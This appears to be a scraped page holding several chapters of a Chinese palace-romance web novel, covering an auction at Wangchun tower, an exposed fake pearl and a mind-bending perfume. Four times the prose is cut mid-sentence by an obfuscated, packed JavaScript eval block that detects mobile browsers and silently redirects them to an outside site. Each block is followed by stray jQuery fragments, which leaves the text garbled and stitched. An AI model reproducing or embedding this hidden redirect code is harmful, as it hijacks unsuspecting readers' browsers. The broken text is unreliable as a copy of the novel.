;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576078|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鸿小将军还怕他怕到不行,见了他就像老鼠见了猫,恨不得远远绕路走,今日倒是敢当众拦人了。
“时鸿将军,有何要事?”程慎之语气平淡。
时鸿不好意思地搓了搓手,像个小媳妇般扭捏了半晌,才开口问道:
“镇南王爷,我……我想问,王妃她是否还有兄弟或是姐妹?”
程慎之打量了他雄伟的身型,一时间不知道这话因何而起。
“末将绝无冒犯之意!”时鸿话一出口,自知失言,忙解释道:“只是之前看见王妃,就觉得她特别面善,眉眼姿态间,像极了末将的旧识。”
“可是我寻遍京州,也联系不上他。”时鸿垂下眼睫,长叹了一口气。“甚至我还冒昧拜访了丞相府,可直到见了宁大公子,才知道自己错认了人。”
程慎之眸色骤冷。
时鸿恍若未觉,他喉结滚动,声如蚊呐,嘀咕道:“可王妃和林公子,当真有几分神似……”
见程慎之脸色愈发阴沉,时鸿急得声音打颤,“您可千万别误会!我……我对王妃没有半点觊觎之心!京州谁不知道您同王妃举案齐眉,伉俪情深!末将实在是走投无路了,这才……”
“并无。”程慎之打断了他的话头,一身朝服略过时鸿衣袍。
时鸿还未反应过来,呆立在原地。
“啊?没有……当真没有?”
程慎之已然走远。
“哎——王爷且留步,末将还有一事相求!”
四周下朝的同僚们频频侧目,好奇地打量着他们。
程慎之大袖一挥,装作没听到,更加大步流星地朝着宫外走去,腰间玉佩在风中撞出凌乱的声响,像是时鸿在原地心碎的声音。
……
刚回到王府,踏入书房的程慎之,还未喝上一口热茶,管家王叔便捧着帖子匆匆呈上。
本以为可以落得清闲的程慎之:……
“将军府送来的?”他揉着眉心,身上还穿着上朝用的锦缎官袍。
细细读过之后,程慎之抬脚出了书房。
“望春楼的拍卖会?”宁鸾倚在窗边贵妃榻上,闻言从《山海经》中抬起眼,表情诧异地望向程慎之。
程慎之将请帖递去,“时鸿那小将军送来的,说是今夜望春楼珍宝阁中的拍卖会难得,他特订了位置,邀请你我二人同往。”
宁鸾打量着请帖,信笺纸上墨迹犹新,是时鸿略显仓促的笔迹。
纸后附着两张望春楼拍卖行的通行证,做工精致无比,用银线做了缠枝花纹包边,中间写明拍卖会的地点和时间。
“慎之可要去?”
宁鸾手拿请帖,抬头看向程慎之。
程慎之颔首,“去,据说这是近年来京州最大的拍卖会,去看看也是好的。”
他略微一顿,指腹无意识摩擦着腰间玉佩,“我还在寻一样东西,去撞撞运气吧。”
宁鸾瞟了一眼玉佩,笑着起身,“那我更是要去了,前几日才新得的孔雀纹绣袍,正愁没地方穿呢。”
程慎之望着她翻找衣物的欢腾背影,心中泛出几丝苦涩的甜蜜。
当年如果没有那些阴差阳错,或许他们也像正常夫妇一般,温馨而平淡地度过日日夜夜。
可这世上,终究没有如果。
19. 镜花水月
夜幕降临,望春楼早早点起了六角铃灯,鎏金灯罩在微风中轻旋,缓解了些许夏日的燥热。
“台阶。”
程慎之虚扶着宁鸾的手腕下了马车。
出征三载,他忍不住望向四周,京州坊市中早已换了景致。
曾经灰墙黛瓦的低落房屋,如今立起数座描金飞檐的楼阁,其中,以眼前的望春楼最盛。
“王爷!你们可算到了!”
未见其人,先闻其声。时鸿从望春楼正门大步跨出,他卸了早上那身制式玄甲,套了一身张扬的赤色劲装,腰间悬挂着一把精干的剑。
宁鸾一眼看去,正是当日望春楼所出的那把玄烈剑,配上了朱红色的剑穗,煞是惹眼。
时鸿同样也在打量着他们。
只见程慎之身着玄色宽袖长袍,袖边领口处缀着银丝祥云图样,在夜色中反射出丝丝流光。
宁鸾并肩站在程慎之身侧,一身孔雀蓝织锦长裙宛若碧波荡漾,贴身的剪裁包裹出姣好的身段。一张小脸从交织领口漏出来,五官大气明媚。她耳尖缀着水滴形的翡翠耳坠,随着步伐轻轻摇晃,识货之人一眼便知价值连城。
与简约耳坠相对的,是头上略显复杂的坠仙髻,以三支点翠金簪固定,雍容大气。
时鸿喉结不明显地滚动,脑中划过暗室中碧玉晴雪剑的样式。
“不长记性!”时鸿突然一巴掌拍在自己头上,顿时收敛了心思。
不顾旁人异样眼光,时鸿赶在程慎之冷刀子般的眼神落下前,指引着二人穿过悬挂蓝底金匾的大门,嘴中絮叨着:
“拍卖会在六楼珍宝阁,展品应该已经送到了,现在上去还能提前看看……”
程慎之面色不悦,扭头看向宁鸾。却见宁鸾笑意盈盈,像是满心好奇般上下打量着这望春楼,压根没有注意到时鸿的目光。
心中暗自叹了一口气,程慎之仰头望向大厅,只见楼内流光溢彩,雕梁画栋。
虽已是夜幕将至,飞天鎏金灯将楼内照得亮如白昼,层层墨绿色帷幕将大厅分隔开来,穿着统一的侍从训练有素。
“不知王爷王妃可曾来过这望春楼?”时鸿咧嘴一笑,抬手向他们介绍着。
“这一楼是大厅,往日里做饮茶会客之用,楼上每层风格用处各有不同。”
跟随着时鸿的步伐,三人一同走向侧面的雕花旋转楼梯,向着六楼走去。
“时将军常来此处?”程慎之指尖抚过朱漆护栏,楼梯间隙中,可见帷幕后隐约的人影。
时鸿爽朗一笑,脸上泛起可疑的羞涩。
“之前在此结识了一位公子,甚是投缘,我还是第一次见气势如剑之人,便总想来望春楼碰碰运气。”
宁鸾捂嘴轻笑,好奇问道:“时厉东大将军不会介意吗?听说他最厌恶这些风月场所。”
“王妃,这您就有所不知了!”时鸿摆手,脸上闪过兴奋的光,“我原先也以为,这望春楼是风月快活之地。可拜访次数多了,才知道这望春楼里另有文章。”
“哦?”程慎之也被他提起了兴趣,“有何妙处?”
时鸿扶着雕花楼梯,如数家珍:“寻常茶坊,往往以说书助兴,可这望春楼不同。”
时鸿向楼下一指,示意他们向下看去。
“望春楼一楼的茶座中央,设有双面圆台,中间以幕布隔开。”
“每个时辰在戏台安排评书戏曲等节目,昼夜不歇,偶尔还有楼上的舞姬乐妓下楼表演,堪称花样百出。”
话音未落,一阵甜腻香气扑面而来,熏得几人心驰神往,不由得酥了骨头。
“那便是四楼了,”时鸿突然语塞,结结巴巴道:“那是有名的温柔乡,姑娘个个绝妙无双,琴棋书画无一不通。况且最特别的是……”
他支吾着,竟难得显出几分局促。
宁鸾莞尔一笑,解围道:“早已听闻望春楼的规矩与众不同,若是姑娘不愿,便是王孙贵族也是强迫不得的。”
“正是如此!”
时鸿如蒙大赦,不好意思地挠挠头,见二人氛围融洽,他不禁开口道:“日后若是末将要娶妻,也盼着能像王爷王妃这般,寻一恩爱之人,两情相悦,传为佳话。”
话一出口,气氛骤然凝滞。
程慎之低头看看宁鸾,见她面无表情走在他身侧,对时鸿的言语恍若未闻。
时鸿见没人答话,后知后觉地僵住,慌忙转移开话题。
“这下面的楼层也就罢了,最神秘的还是顶上的七层。”时鸿下意识摩挲着腰间的剑柄,“那七层只有楼主钦点之人,才可踏入,可这几年来,并没有人知道进入的标准。”
时鸿自嘲一笑,眼前又浮现出那个戴着面具的出尘身影。
自那日小春台一别,他几番尝试再访那位神秘的楼主。可拜帖都不知递了多少封,每每前往,都被七楼的侍从冷言相拒,只道非请不得擅入。
而那日在六层珍宝阁与林公子惊鸿一瞥,时鸿便存了心思。既然林公子偶尔会下楼探看,那么自己在楼下守株待兔也未尝不可。
这些时日,他得了空便往望春楼跑,几乎将楼中上下逛了个遍,自然是熟悉得不行。
“到了!”时鸿带着人踏上六楼,眼前景致顿时豁然开朗。
眼前六楼的珍宝阁,比往日里多了数座琉璃展柜,已是围聚了不少人在此欣赏品鉴。
“时公子,您前些日子的委托已有下落了。”一位灰袍侍者快步迎来,对着几人恭敬行礼。
“当真?”时鸿闻言眼睛一亮,当即扭头,对着程慎之二人开口,“近日听月影剑重出江湖,便委托望春楼帮忙一寻,不成想今日有了着落。”
时鸿脸上的沮丧一扫而空,神情中是抑制不住的兴奋。
“不知王爷王妃可赏脸一观?”
“可。”程慎之微微颔首。
三人跟随侍者指引,来到古色古香的紫檀木多宝柜前。那柜台后全是如药柜般密密麻麻的抽屉,抽屉上挂着不同的木制号牌,落着不同的锁。
那侍者从容开锁,拉开其中一个抽屉,将剑匣递给时鸿。
时鸿迫不及待,三两下打开剑匣。只见匣开刹那,一抹清冷剑光倾泻而出。
整把剑呈青色,仅在剑柄处镶嵌橙色月光石,触之温润。剑身流转着淡色光晕,在灯光照射下真如月影朦胧,将三人面容照得影影绰绰。
“当真是把好剑。”程慎之亦是好剑之人,不由自主赞叹出声。
时鸿沉醉在剑光的温柔中,指尖发颤,险些要当众亲吻剑身。
勉强按捺住冲动,他依依不舍地合上剑匣,“直接送到将军府上吧,多谢。”
转身看向展柜,那展柜中样样皆是今日拍卖会珍品,台上以夜明珠照明,一旁两名侍卫持刀看守。
程慎之饶有兴致地打量着,时鸿在一旁陪同。
“咳……”宁鸾突然以绢帕掩唇,不住发出低沉的咳声。
她眼睫低垂,缓缓道:“王爷且在这看拍品吧,我去外边凉台走廊透透气,稍后便回。”
状若无意避开程慎之担忧的视线,宁鸾独自走向一边的凉台。
夜风拂过朱漆雕栏,将鬓边的碎发吹得纷乱。她再没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576079|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有半点咳意,神色从容,像是只为吹一阵夜风。
凭栏远眺,俯瞰京州。
正是暮色四合,整座京州城在脚下亮起万家灯火,连缀着铺开辉煌的画卷,与天边的星点交相辉映。
如此辉煌的景色,怎不教人心醉沉迷,晃了心神?
她总觉得一切都尽在掌握,可直到看到程慎之带来的那封邀请函,才也明白,哪怕是她,也有掌握不住的东西。
那便是……人心。
“你终于来了。”
唇边露出一抹轻笑,宁鸾转身看向身后的人影。那人满身黑袍,头上戴着斗笠,蒙上一圈黑纱。
二人隔着恰到好处的距离相对而立,逐渐清晰的月光将两道身影勾勒得越发清晰。
怔愣几瞬,那黑袍人抬手撩起面前黑纱,露出张冰冷瓷白的脸。
“青霜……见过主子。”青霜缓步向前,从凉台阴影中款款走出行礼。
宁鸾扭头眺望远处星光,嘴角笑意更深。“拍卖会原定的宾客中,并没有时鸿的名字,是你将请帖给了他。”
宁鸾手指下意识用力,攥紧了身前的栏杆。
“为什么?”
青霜身形一颤,单膝重重跪地。她声音低哑,犹豫半天才又唤出一句:“主子……”
她深吸一口气,抑制住内心的纠结,“自那日时鸿在珍宝阁偶遇主子,他便日日都来楼里守着。有时把玩古剑,有时独坐听曲。”
指甲掐进掌心,青霜的声音落得越来越轻,“三日前,他向珍宝阁的侍者打听拍卖会的事,得知需要望春楼主亲定的请柬,便一度闷闷不乐。”
“所以,你便擅自做主,将天字房的请帖给了他?”
夜风吹过,浸透冷汗的衣衫贴上肌肤,瞬间寒意刺骨。
“是。”
宁鸾倚着栏杆,万千灯火在她眼中明暗交错。默了几瞬,她转身扶起青霜,凝视着她的双眼。
青霜眼眸清澈透亮,眼底燃着倔强的光。
“当初派你去监视时鸿,是我考虑不周。”宁鸾挽起青霜耳旁的碎发,却发现她的脸侧已被冷汗浸湿。
伸手抚去脸颊的汗水,宁鸾缓缓问:“此番,你可后悔?”
“不悔。”青霜的睫毛剧烈颤动,说出的话语却是坚定无比。
宁鸾的目光顺着滑落的汗水,落在脖颈尚未痊愈的烫伤上。那深色的细痂结在莹白的皮肤上,显出几分丑恶的狰狞。
“傻丫头。”
宁鸾的叹息消散在夜风里,她伸手将青霜单薄的身子蓝入怀中。
她早该想到的,能让青霜这个死心眼的丫头违抗命令,自甘领罚的,从来都只有那一种可能。
“想做什么便去做吧,望春楼已经圈了你太久了。”
宁鸾轻拢着青霜盘起的发,语气轻缓,“但是你要答应我,无论想做什么,都要保护好自己。”
青霜心中的忐忑终于落了地,她紧紧攥住宁鸾的衣袖,像是抓紧了最后的光。
她按捺不住心中的委屈,声音中带上一丝哽咽:
“可是主子,他的心中……恐怕从来都没有我毫分。”
他的心里,只有林公子为他营造的一场幻梦。
青霜眼前闪过暗室中一张张画卷,那是这么多年来,她唯一向主子隐瞒的秘密。
明知这一切皆是饮鸩止渴,镜花水月,她却依旧贪恋着这虚幻的月光。
宁鸾轻拢她黑纱下的秀发,声音轻得像是一片雪花:
“别怕,放手去做吧。哪怕是大梦一场,醒来后,你还有望春楼这个永远的家。”
20. 真假宝珠
楼内突然传来丝竹悠扬之声,宾客们的谈笑声如潮水般涌出,这是拍卖会即将开始的信号。
宁鸾轻抚青霜的眼尾,指尖触到一丝湿润。
“你有了自己的心事,也不告诉我。”她柔声安抚着青霜,像哄一只受惊的雏鸟,眼中满是怜惜。
“这些年你为望春楼倾尽所有,却把所有的苦楚都藏进肚子里,青露那丫头常说,虽然她自己不靠谱,可最令旁人担心的人,却是你。”
青霜怔住,猛然抬头望向宁鸾精致温婉的脸。
“等把望春楼的事务交接妥当,便去做想做的事情吧”宁鸾的声音温和落在耳边,“就当是我许你的长假。”
这是要……赶她走?
青霜呼吸一滞,喉咙中仿佛被东西堵住了。她眼中满是彷徨,半晌才沙哑挤出一句话:
“主子,您不要青霜了么?望春楼……也不再需要青霜了吗。”
宁鸾摇头,指尖轻点她的眉心,语气无奈又包容,“又说傻话,这是你的家,怎会不要你。若是让我贸然舍去你这得力干将,我还不肯呢。”
宁鸾褪下指节的象牙骨戒,牵起青霜的手为她戴上。戒圈严丝合缝,仿佛本来就该在那里。
青霜一惊,这枚戒指,能调动宁鸾大半势力。只要她想,整个望春楼都在她的号令之下。
青霜正欲开口,却见宁鸾摇头,紧紧握了握她的手。
屋内乐声愈发悠扬,宁鸾不便多说,转身离去,裙摆带起一阵香风。
青霜紧握骨戒,在凉台外站了许久。待到夜幕沉浸,她深吸一口气,几步轻功掠进屋内。
今晚的拍卖会事关重大,容不下半分差池。
……
宁鸾轻车熟路回到大厅,程慎之等人已在拍卖行入口处等候多时。
“久等了罢?”宁鸾提起裙摆,笑意盈盈走上前来。
“无妨。”程慎之暗自打量,见宁鸾神色无异,这才稍微放下心来,抬首示意侍者带路。
时鸿显然并未参加过类似拍卖会。一路跟在侍者身后满脸激动,四处打量。
穿过深红色帷幕包裹的长廊,侍者推开鎏金门扉,将三人引入雅间之中。屋内陈设多为红木雕花,鎏金琉璃宫灯头顶高悬,散发出柔和暖光。
正对门处,整面墙壁被打通,改造成镂空的景观台。台边用上好木料做了护栏,虚虚圈成一个半圆。头上悬垂下一副浅金色轻纱,如帘幕一般,柔婉笼住整个景观台。
程慎之信步上前,透过薄纱向外望去,台下正是半圆形的拍卖大厅,座席间已有了七八成锦衣华服的宾客。
“单论这一副鲛纱细帘,价值便不下千金。”程慎之挑眉看向时鸿,“时将军出手阔绰,当真是好气魄。”
时鸿脸色白了三分,此时才猛然惊觉,自己竟被安排进了这等顶级包厢,而非坐在大厅的那种普通座席。
“假的吧……”时鸿浑浑噩噩上前几步,手中捻起一缕鲛纱细看,“这纱也没什么特别的,就是透亮些,色泽好看些,竟也能价值千金?”
程慎之双手抱胸,慵懒倚栏而立,目光扫过整个拍卖大厅,漫不经心开口道:
“这是东海采来的鱼皮,由手巧的渔女以特殊手法捻丝纺织。透过这块纱,从内而外看去,外界之物纤毫毕现。”
他忽而转身,走到宁鸾旁边坐下,悠然执壶,执壶斟茶地动作行云流水。又缓然道:
“但若光线设置恰当,外人向内窥探,便只能看见一片金光流转,丝毫不能看透内里的情形。”
时鸿闻言,手指一抖,那缕鲛纱从指尖滑落,在宫灯下折射出细微的碎光。
他收回手,仓皇打量四周陈设。案几上摆放着官窑瓷器,墙上挂着几幅名家真迹,就连脚下踩的,都是进贡来的织锦地毯。
时鸿喉结滚动,自觉无论损坏哪一样,自己的身家都够不上赔的。他讪讪在墙边找了个椅子,像只误闯进屋的大鹌鹑般缩着坐了。
不过多时,拍卖开始。
前几件拍卖物勉强可算稀罕,但远还称不上珍宝。几人兴致缺缺,场内很快便有人拍下了。
程慎之端起茶水,不动声色瞥向宁鸾。不知为何,他总觉得今日的宁鸾格外沉静,自踏入雅间后,便默然不语,只犯懒般靠在雕花座椅中,有一搭没一搭地看着拍卖场内的情形。
他下意识抬手轻抚胸口,隔衣触到两物一冷一热,合着他的心跳微微起伏。
究竟什么时候,才能把它送出去呢……
时鸿看了一会儿拍卖,又耐不住寂寞,搓着手凑近二人道:“今日望春楼这般大的排场,进来后又三番五次地核对请帖,”他压低声音:“该不会真要拍卖些见不得光的东西吧?”
“咔嚓——”
话音未落,刚端起茶盅的宁鸾指尖一颤,竟猛然将杯盖摔落在地。
“时将军,慎言。”宁鸾没好气瞥了时鸿一眼,声音却轻柔似水,“望春楼行事,向来光明磊落,在京州经营多年,将军放心便是。”
时鸿却已是面如土色。他猛然起身,惊恐看着地上摔得粉碎的青花缠枝莲纹杯盖,又看看一脸淡然,悠闲喝茶的宁鸾,顿时只觉天崩地裂。
“这这这……!”
这茶盏得多贵啊!拍卖才刚开始,他就已将全部身家赔在这了!
“王爷!”时鸿心如死灰,没想到一张小小的请帖给他带来了灭顶之灾。他绝望地看向程慎之,高墙般壮硕的身躯竟显出几分凄苦无依:
“咱们同僚一场,若是今晚我被扣在望春楼,求您给我爹带个话,就说我在这儿洗盘子一切安好!吃得饱睡得香……”
程慎之:“……”
宁鸾:“……”
宁鸾揉了揉胀痛的太阳穴,想不明白青霜那般通透的姑娘,怎么偏偏就看上这个呆子。
见时鸿急得像热锅上的蚂蚁,程慎之也有些头痛,他试图开口:
“鸿兄。”程慎之指尖掠过桌上另一只杯子,“你仔细看看,这不过是民窑仿制的……”
“将军不必紧张。”宁鸾脸上挂出一丝笑意,打断道,“今日拜将军所赐,来拍卖会一观已是幸事,这些零碎开销,自然由镇南王府承担。”
她侧过脸看向程慎之,和善道:“慎之,你觉得呢?”
“那是自然。”程慎之看宁鸾露出笑容,再顾不上其他。“时将军享受拍卖会便是,这些小物不足挂齿。”
时鸿松了一口气,正欲扭头看向台上拍品,台下突然爆发出一阵骚动。
“这根本不是避水珠!”一位白袍人猛然起身,直指拍卖台上黑色绒布中的蓝色宝珠。
“名声在外的望春楼,竟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576080|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以廉价琉璃珠冒充珍宝!”
全场哗然一瞬,随即窸窸窣窣交流起来。
宁鸾面露不悦,站起身来向那人看去。那白袍人头巾下的面庞,分明就是典型的异族长相。
那白袍人见众人热议,神情中更是得意。他挥舞手臂,大声暴喝道:
“这避水珠乃我族圣品,可解百毒,世上独此一颗!至今仍在我族祭坛供奉,非神请不得擅用,怎么会出现在这拍卖行之中!”
全场更是沸腾,眼见就要混乱起来。
拍卖行中,侍卫从暗处涌出,就等一声令下,将那白袍人控制住。
宁鸾握拳的手紧了又紧,犹豫多次正欲上前。身后的程慎之见她踌躇,稍加思索后从容起身,银丝绣的云纹随着行动,流转出炫目光彩。
“诸位稍安毋躁,且听我一言。”程慎之安抚似的按住宁鸾的肩,信步向前撩开鲛纱。
“避水珠产自南部涌泉山瀑布下,表面宝光流转,珠内状似水波流动,可是如此?”
众人见是天字房的贵客,下意识随着他的话语,望向那展台中所谓的避水珠。
只见那珠子呈淡蓝色,虽是莹润生辉,但内里却死气沉沉,并无水波荡漾之感。
那白袍人闻言紧张一瞬,转目一瞥珠子,反倒扬起下巴,神色间更是得意。
“正是如此,阁下好眼力,避水珠内部确实应有水纹波动。”
“可是——”程慎之突然洒脱一笑,扭头看向时鸿,“借鸿兄宝剑一用。”
程慎之拿着玄烈剑,撩起鲛纱从高台一跃而下。他足尖轻功几点,闪身几个起落,便稳稳落到拍卖台前。
一旁侍卫面面相觑,手中兵刃举起又放下。有贵宾擅闯拍卖台,拦是不拦?怎么拦?
正当侍卫们踌躇不前时,面蒙黑纱的青霜从幕后绕出。她干净利落吩咐几句,稳如泰山。
侍卫们见是大总管亲临,顿时如释重负,纷纷收刀退至两旁。
青霜顿足,忍不住朝天字号包厢的方向远远一望,随即果断转身,隐没在台后的重重帷幕间。
“你族祭坛供奉的,确实是避水珠无疑。”台上,程慎之手中宝剑已然出鞘,剑花一挑,剑尖正精准刺中绒布上那淡蓝宝珠。
“咔——”
细微的碎裂声响起,宝珠表面瞬间碎开如蛛网般的裂痕,随着纹路蔓延,那外层琉璃竟一片片碎落,内里真正的宝珠初显真容!
众人凝神细看,只见展台之中,小了一圈的宝珠通透清澈,珠内果真似有活水流转。
随着光线变换,整颗珠子流光溢彩,波光粼粼,正是那避水珠的模样!
“这……”那白袍人脸色骤变,额间渗出冷汗。他颤抖指向宝珠,“可避水珠只有一颗,祭坛上分明……”
程慎之手腕轻转,玄烈剑入鞘。他冷冷开口:
“避水珠并非只有你族一颗,不过隐藏在千万琉璃珠中,众人不知罢了。况且,集万颗琉璃珠方得一颗避水珠,说是稀世珍宝,倒也不为过了。”
“继续吧。”程慎之对着台上的拍卖官略一点头,随即脚尖轻点,轻功如燕般腾身,不过几瞬便回到天字房雅间里。
宁鸾已然从最初的震惊中平复下来,她神情复杂地看着从观景台翻进来的程慎之,半晌才张口。
“你……”
21. 雀起阴霾
台下突然爆发出惊呼,方才中断的竞拍再度掀起热潮,一时间叫价声此起彼伏,比开场时更加激烈。
时鸿瞪大双眼,像是看怪物一般,盯着程慎之从观景台翻身进来。他神情里写满了佩服,仿佛下一刻就要五体投地,给眼前的镇南王爷行个大礼。
只闻台中几声锤响,那枚避水珠以三千两黄金的高价成功售出。
“我滴乖乖,这小珠子卖了这么贵!”时鸿拍着胸口直喘气,他几步走到观景台前扒住护栏,鼻尖儿几乎顶上那金色鲛纱。
见那劈开的避水珠流光溢彩,他恨不得将眼珠子都瞪出来,直至下一个拍品登场,这才恋恋不舍地收回目光。
程慎之早已自顾落座,执壶为二人续满热茶。他侧目看向宁鸾,见她手持画扇轻摇,方才紧绷的肩线此刻已然放松,顿时也跟着松了口气。
宁鸾面上不显,心中却似那浪潮波澜起伏。
望春楼金字招牌,容不得半分瑕疵。
拍卖行精挑细选的拍品,品质上向来无可挑剔。能进望春楼拍卖会的鉴定师,个个都经由宁鸾亲自把关,绝无可能将寻常琉璃珠错认避水珠。
若今日任由事态发展,闹出拍品以假乱真的传言,望春楼多年积累的声誉必将毁于一旦,往后再想树立威信,那当真是难如登天。
宁鸾轻轻侧头,瞥见程慎之端茶细品,神色淡然如常,心底闪过复杂情绪。
她原打算亲自出面,以天字房贵宾的身份出面周旋。
虽不知避水珠与琉璃珠之间的渊源,但凭借话术手段,平息今日风波也并非难事。
只是平日里不声不响的镇南王妃,此刻竟在拍卖行抛头露面,侃侃而谈,一来对她掩藏身份不利。其次,对于镇南王府而言,也太过招摇了。
今日一事,若非拍卖行鉴定师疏忽,未及时禀明避水珠由来,便是被有心人做局,刻意扰乱望春楼的名声。
望春楼声势日渐浩大,暗处不知多少人眼馋心热,就等着拿捏住望春楼的把柄,借势取而代之。
今日一事,定要彻查。
宁鸾正垂眸思索,却突觉一道目光灼灼地落在脸上。她猛然侧头,正好对上程慎之深邃的眼眸。
程慎之剑眉轻佻,漆黑瞳孔中映着她清晰的面庞。忽然与宁鸾对视上,他眼底竟闪过一丝不易察觉的慌乱。
“今日,你不开心?”
“今日……多谢你。”
二人同时开口,话音未落,竟又同时侧过脸去,不约而同看向角落的时鸿。
时鸿被这二人莫名其妙的举动弄得一头雾水,“嗯?”
宁鸾扑哧一笑,抬眼正视程慎之,正色道,“多谢你方才解围,那珠子与我宁家,确实有些渊源。”
虽不确定是否自作多情,但宁鸾总觉得,若非自己先下意识流露出在意,以程慎之往日里淡漠的性子,断不会插手管这闲事。
于公于私,这一声道谢都是应当。
“原来如此。”程慎之坦然一笑,“那你现在……心里可还好吗?”
他垂眸,睫毛在眼睑落下阴影,勉强掩盖住眼底的情绪。“自我从南部归来后,总觉得,你在府中过得并不开心。”
“是我错做了什么吗?”茶盏被他搁在案桌上,落下一声脆响。听出宁鸾话中的歉意,程慎之声音不自觉放软放轻,到最后,竟带上几分小心翼翼:
“还是说,我的存在本身,便是你不悦的根源?”
宁鸾一怔,神情难得几分恍惚,却听程慎之又忐忑道:
“你若是想和离,我……”
程慎之声音低沉,喉中似被方才的茶水哽住,后半句话竟再难吐出来。
宁鸾还未及细想,指尖已先一步做出反应。她轻轻拢住程慎之搁在桌案的手,脸上扬起她惯用的温和笑容,眼睫轻眨,嗓音柔似春风:
“怎么会呢,慎之归来,是我求之不得。”
话音一顿,宁鸾才觉察触手处温凉如玉,带着几分冒昧。思及至此,她摸着烧红碳火似的,将手收回。
“不过是入夏后诸事繁杂,一时难以周全罢了。”她移开目光,喃喃道:“并不为别的。”
这话轻得像是半山的薄雾,转瞬即逝便散了。
程慎之从耳尖一路红进交错的衣领,他掩饰似的轻咳两声,指腹却不自觉地摸索方才被她触碰的位置。
一时没了声响。
……
镇南王府。
白挽独坐在院落石凳上,指尖无意识敲击着青石椅面。
她脑中反复默背慕达莎教她的口诀,廊前的描花宫灯散发着暖光,将她的影子映得扭曲。
那日放出的信鸽,带回了画着红色曼陀罗的纸条,这是他们约定的暗号,对方答应了她的会面。
昨夜,她辗转难眠,却在黎明时分强打精神。她躺在卧榻上,眼底闪过异样的光彩。
天光微亮,白挽悄然离府,没惊动任何人。清晨的茶楼静得出奇,大堂空空唯有小二洒扫。白挽绕进雅间内,慕达莎斜倚在窗台前,撑着手看向窗外。
这雅间的位置恰到好处。虽是临街,却也并不喧哗,既能俯瞰街景,又不易被他人窥探旁听。
慕达莎并未裹异族商人穿的白袍,而是一身坠着金银铃铛的异族服饰。举手抬足下,纤细的蜜色腰肢在铃链间若隐若现,更显出几分狂野来。
“终于来了。”慕达莎红唇轻启,眼尾用金粉勾勒出极具异域风情的魅色,“我还以为,你要放弃这难得的机会了。”
白挽几乎是扑到桌前,茶水沾湿了她胸前的衣带,她却并不在意,只迫不及待开口:“你说过,你有办法让他的心中只有我。”
白挽紧握双拳,眼中升腾着高涨的火焰,“现在我就要知道那个方法!”
慕达莎单手托脸,唇齿开合间发出清脆的笑声,“考虑了这么久,你终究选了最对的路。毕竟,终究我们才是同类。”
白挽只见慕达莎手腕翻转,眼花一瞬,一个装脂粉用的鎏金小盒便出现在她的掌心。
慕达莎眉角轻佻,抬手勾开盒盖,一股浓烈异香扑面而来。盒中盛放着如血般凝固的膏体。慕达莎轻眯双眼,唇齿微动,用指腹晕开盒中膏体,那香气顿时更加浓烈起来。
“看着吧。”
慕达莎忽然拉开雅间房门,走廊里送茶的小厮闻声回头,“客官?”
那小厮提壶上前,尚隔着几步,慕达莎猛然抬指,将香气送向他面前,低声如吟唱道:“你愿意为我做任何事,对吗?”
那小厮下意识抬眼,与她对视的刹那眼神涣散,手中茶壶“咣当”一声砸落在地。
慕达莎莲步轻移,腰肢摇摆间,金色的铃铛发出沙沙的响声。如蛇蝎般的女人轻缓抬手,指尖拂过小厮青涩的脸颊。
那小厮呆滞的点头,眼中倒映着慕达莎妖异的面容,恍然间竟将她奉为神明。
“去吧……好孩子,看看那掌柜,去做你该做的事情吧。”慕达莎凑到那小厮耳边,吐气如兰。轻声细语间,像吐信的毒蛇缓慢缠绕,在最脆弱的脖颈处注入致命的毒。
那小厮像是得了令般,本是晦暗的瞳孔中突然有了阴鸷的神采。
他嘴角拉出一个狰狞的笑,不管脚边落地的铜壶,转身便跌跌撞撞冲下楼去。
白挽正在屋内看得目瞪口呆,忽闻楼下一声惊叫,忙冲出门向楼下大堂看去。
慕达莎双手抱胸,满目得意,信步随她走到二楼的楼梯拐角,撇眼向下看去。
只见那小厮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576081|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
